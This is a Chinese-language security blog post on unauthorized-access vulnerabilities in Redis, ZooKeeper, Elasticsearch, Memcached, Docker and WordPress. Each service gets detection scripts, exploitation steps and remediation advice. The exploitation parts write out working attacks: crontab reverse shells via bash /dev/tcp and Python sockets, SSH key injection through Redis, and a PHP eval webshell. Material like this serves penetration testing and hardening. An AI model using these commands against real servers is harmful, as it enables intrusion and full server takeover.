Rookie

漫游指南-1 的世界

流浪在大理的斜杠青年

未授权访问漏洞总结检测与利用

1 redis 未授权访问漏洞#

1.1 漏洞描述#

  • redis 安装完以后,默认是没有账号密码的如果 redis 是以 root 权限去运行,则可以被反弹 shell 或者写入 ssh 密钥,从而被获取服务器的权限。

1.2 漏洞检测#

import socket 
host = "192.168.254.19"
port = 6384
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send("INFO\r\n")
result = s.recv(1024)
print result//可以注释本部分
if "redis_version" in result:
    print "exist vul"

客户端连接测试一下:

$redis-cli -h host -p port
>CONFIG get requirepass
1) "requirepass"
2) ""
说明:表示没有设置密码,默认为没有密码。

1.3 漏洞利用#

1.3.1 利用 crontab 反弹 shell#

自己服务器上监听一个端口 (10.0.0.2)

nc -lvnp 4444

执行命令:

redis-cli -h 10.0.0.1
set x "\n* * * * * bash -i >& /dev/tcp/10.0.0.2/4444 0>&1\n"
config set dir /var/spool/cron/
config set dbfilename root
save
1.3.2 写 ssh-keygen 公钥登录服务器#

利用条件:

1.redis对外开放,且未授权访问(默认配置)
2.服务器的ssh对外开放,可通过key登录

详细攻击方式如下:

准备好自己的公钥,写入本地文件text.txt。
$ (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > test.txt
2. 通过redis将该文件写入内存
$ redis-cli -h 10.0.0.1 flushall
$ cat test.txt | redis-cli -h 10.0.0.1 -x set crackit
3. 利用redis-cli 写入配置的方式将公钥写入到.ssh目录下
$ redis-cli -h 10.0.0.1
10.0.0.1:6379> config set dir /Users/nmask/.ssh/
OK
10.0.0.1:6379> config get dir
1) "dir"
2) "/Users/test/.ssh"
10.0.0.1:6379> config set dbfilename "authorized_keys"
OK
10.0.0.1:6379> save
OK
1.3.3#

获取 web 服务的 webshell
当 redis 权限不高时,并且服务器开着 web 服务,在 redis 有 web 目录写权限时,可以尝试往 web 路径写 webshell。

config set dir /var/www/html/
config set dbfilename shell.php
set x "<?php @eval($_POST['test']);?>"
save

说明:执行以上命令,即可将 shell 写入 web 目录。

1.4 漏洞修复#

到 redis 安装目录下,配置 redis.conf 文件:
1、默认只对本地开放
bind 127.0.0.1
2、添加登陆密码
requirepass AbcXXXX
3、在需要对外开放的时候修改默认端口
port 2333
4、最后还可以配合 iptables 限制开放

2 ZooKeeper 未授权访问漏洞#

2.1 漏洞描述#

安装 zookeeper 之后默认是没有账号密码的,即没有权限校验,可被远程利用,通过目标服务器收集敏感信息,或者破坏 zookeeper 集群。

2.2 漏洞检测#

#coding=utf-8
import socket 
ip = "192.168.36.218"
port = 2181
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send("envi")
result = s.recv(1024)
print result #输出详细返回
if "zookeeper.version" in result:
	print "exist vul"

2.3 漏洞利用#

执行以下命令即可远程获取该服务器的环境:

echo envi | nc ip port

直接连接:

./zkCli.sh -server ip:port

2.4 漏洞修复#

1、禁止把 Zookeeper 直接暴露在公网
2、添加访问控制,根据情况选择对应方式(认证用户,用户名密码)
3、绑定指定 IP 访问

3 Elasticsearch 未授权访问#

3.1 漏洞描述#

ELK 是一款日志分析工具,默认监听 9200 端口,如果没有设置访问权限,可被非法操作数据。

3.2 漏洞检测#

import httplib, urllib
conn = httplib.HTTPConnection("192.168.254.56",9200, True, 10)
conn.request("GET", '/_cat/master')
resp = conn.getresponse()
print resp.status
if resp.status == 200:
    print "exist vul"

3.3 漏洞利用#

相当于一个 API,任何人访问这个地址,就可以调用 api,进行数据的增删改操作。
http://x.x.x.x:9200/_nodes
http://x.x.x.x:9200/_river

3.4 漏洞修复#

1、防火墙上设置禁止外网访问 9200 端口。
2、使用 Nginx 搭建反向代理,通过配置 Nginx 实现对 Elasticsearch 的认证
3、限制 IP 访问,绑定固定 IP
4、在 config/elasticsearch.yml 中为 9200 端口设置认证:

http.basic.enabled true #开关,开启会接管全部HTTP连接
http.basic.user "admin" #账号
http.basic.password "admin_pw" #密码
http.basic.ipwhitelist ["localhost", "127.0.0.1"]

4memcache 未授权访问#

4.1 漏洞描述#

memcached 是一套常用的 key-value 缓存系统,其本身并没有权限控制模块,因此攻击者通过命令交互可直接读取 memcached 中的敏感信息。

4.2 漏洞检测#

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
s.send("stats")
result = s.recv(1024)
if "STAT version" in result:
    print "exist vul"

4.3 漏洞利用#

nc -vv <target> 11211

说明:连接成功,则可获取 memcached 中的敏感信息。

4.4 漏洞修复#

1、设置 memchached 只允许本地访问
2、禁止外网访问 Memcached 11211 端口
3、编译时加上–enable-sasl,启用 SASL 认证

5Docker 未授权访问#

5.1 漏洞描述#

Docker Remote API 是一个取代远程命令行界面(rcli)的 REST API。通过 docker client 或者 http 直接请求就可以访问这个 API,通过这个接口,我们可以新建 container,删除已有 container,甚至是获取宿主机的 shell。

5.2 漏洞检测#

conn = httplib.HTTPConnection(ip, port, True, TIMEOUT)
conn.request("GET", '/containers/json')
resp = conn.getresponse()
if resp.status == 200 and "HostConfig" in resp.read():
    print "exist vul"

5.3 漏洞利用#

获取所有 images

http://host:2375/containers/json

getshell 的方式与 redis 利用差不多。

5.3.1 利用计划任务反弹 shell#
echo -e "*/1 * * * * root /usr/bin/python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"127.0.0.1\",8088));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'\n" >> /etc/crontab

5.3 漏洞修复#

1、在不必需的情况下,不要启用 docker 的 remote api 服务,如果必须使用的话,可以采用如下的加固方式:
设置 ACL,仅允许信任的来源 IP 连接;
设置 TLS 认证,官方的文档为 Protect the Docker daemon socket
2、客户端连接时需要设置以下环境变量 export DOCKER_TLS_VERIFY=1

export DOCKER_CERT_PATH=~/.docker
export DOCKER_HOST=tcp://10.10.10.10:2375
export DOCKER_API_VERSION=1.12

3、在 docker api 服务器前面加一个代理,例如 nginx,设置 401 认证

6wordpress 未授权访问漏洞#

6.1 漏洞描述#

wordpress 未经授权的攻击者利用该漏洞可注入恶意内容,以及进行提权,对文章、页面等内容进行修改。REST API 是最近添加到 WordPress 4.7.0 并默认启用的。

6.2 漏洞利用#

查看文章列表:

GET /index.php/wp-json/wp/v2/posts HTTP/1.1

修改文章内容:

POST /index.php/wp-json/wp/v2/posts/500?id=500 HTTP/1.1
Host: xxx.net
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.95 Safari/537.36
Content-Type: application/json
Content-Length: 43
{"title":"x x x x"}

说明:如果返回 401 则无权限修改;返回 200 表示修改成功。

参考文章#

https://www.secpulse.com/archives/61101.html
https://www.secpulse.com/archives/40406.html
http://www.freebuf.com/vuls/126120.html
https://thief.one/2017/12/08/1/

加载中...
此文章数据所有权由区块链加密技术和智能合约保障仅归创作者所有。